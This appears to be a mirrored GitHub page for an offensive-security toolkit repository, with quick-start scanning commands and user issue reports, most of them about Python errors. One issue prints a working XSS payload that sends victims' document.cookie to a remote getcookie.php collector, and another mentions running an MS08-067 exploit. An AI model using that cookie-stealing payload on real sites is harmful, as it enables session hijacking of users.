Giter VIP home page Giter VIP logo

pentest's Introduction

So, You Want to be a Rock Star?

Follow instructions, it`s very easy!

$ git clone https://github.com/jivoi/pentest.git ./offsecfw && cd offsecfw
$ mix_ping_sweep.py 192.168.56.1-254 ./results
$ mix_port_scan.sh -t ./results/targets.txt -p all
$ mix_recon.py ./results/targets.txt

pentest's People

Contributors

andyacer avatar brandonkovacs avatar jivoi avatar paralax avatar pwn20wn avatar xee5ch avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

pentest's Issues

XSS help

I'm doing an ethical hacking test, I tested an XSS payload : <script>alert("xss")</script> on a website, and the pop-up appears, so I want to collect user cookie

I created a getcookie.php file and a cookies.txt file and and I uploaded both files to a hosting server,
I placed the two files in the htdocs folder, which now contains index.html, getcookie.php and a cookies.txt

This is the getcookie.php file:

When I try this in the search box: : <script>document.location="http://website.com/getcookie.php?c="+document.cookie;</script>

I get this URL:
https://website2/search/?section=all&query=<script>document.location="http:SLASHSLASHwebsite.comSLASHgetcookie.php?c="+document.cookie;&path=SLASH

and I don't see any cookies in cookies.txt

What am I doing wrong, please? I've tried lot of payloads in the past 3 days but no results,
when I type http://website.com/getcookie.php in a new tab, I get the cookie but it's empty, I get this text : Cookie:

Thank you

MS08-067: Impacket and PyCrypto

I'm getting this error when I'm running your code:

Install the following library to make this script work
Impacket : http://oss.coresecurity.com/projects/impacket.html
PyCrypto : http://www.amk.ca/python/code/crypto.html

Before, it's working fine on my Kali. However, when I installed the latest Impacket (https://github.com/CoreSecurity/impacket), I started getting that error. Any way I could fix this? Thanks!

Python Files

image
All of the Python Files with underscore in the name will cause the terminal do this

File "/home/REDACTED/offsecfw/mix_ping_sweep.py", line 18
print "\nUsage: mix_ping_sweep.py \n"
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

That why I'm manually renaming all of the .py files that have underscore in there name: mix_ping_sweep.py --> mix-ping-sweep.py
Hopefully That will fix the issue :)

ImportError: No module named reconf

When I run the python mix_recon.py script, I get the output:

Traceback (most recent call last):
File "mix_recon.py", line 22, in
import reconf
ImportError: No module named reconf

Can you tell me how I can correct this?

I tried "easy_install reconfg", but I'm still getting the same error.

Thanks

setup.py

Getting an error when I run setup.py

# ./enumeration/setup.py                                                                                                                                                  (master) 
[*] Installing missing NSE scripts...
Traceback (most recent call last):
  File "./enumeration/setup.py", line 58, in <module>
    nsescript = "%s/%s" % (reconf.nsepth, nsefile)
AttributeError: 'module' object has no attribute 'nsepth'

Install to the /root/ directory

Should include a note in the installation to clone this under the /root/ directory, since that path is hard coded into the port scan script. I had cloned this to my desktop and the port scan couldn't find the required files.

Invalid Syntax error

Hello,

When i try to execute the script, I get this error:

File "/home/kali/Downloads/Tool/pentest-master/mix_port_scan.sh", line 3
function usage {
^
SyntaxError: invalid syntax

Could you help me?

./setup.py error

Hello,

When running ./setup.py from /offsecfw/enumeration I get the following error

Traceback (most recent call last):
File "./setup.py", line 11, in
installed_packages = pip.get_installed_distributions()
AttributeError: 'module' object has no attribute 'get_installed_distributions'

There is no requirements.txt file to install.

Please advise?

Just one question

Hi,

I would like to ask you just one ,probably obvious, question about this exploit.
( sorry but I've experience in programming since a year but newbie in pentesting )
I've tried to read your article here ( http://netsec.ws/?p=262 ) and you said at the end this things:

  1. Install AT-TFTP v1.9 on target machine. OK clear.
    2.Disable any firewall. Ok clear.
    3.Put metasploit listening.Ok clear.
    4.Run the python script with the right arguments. Ok clear.

My question is:

  • to open the meterpreter session is necessary to run the AT-TFTP v1.9 exe file on target machine right?
    I don't understand this thing.

Thx in advance.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.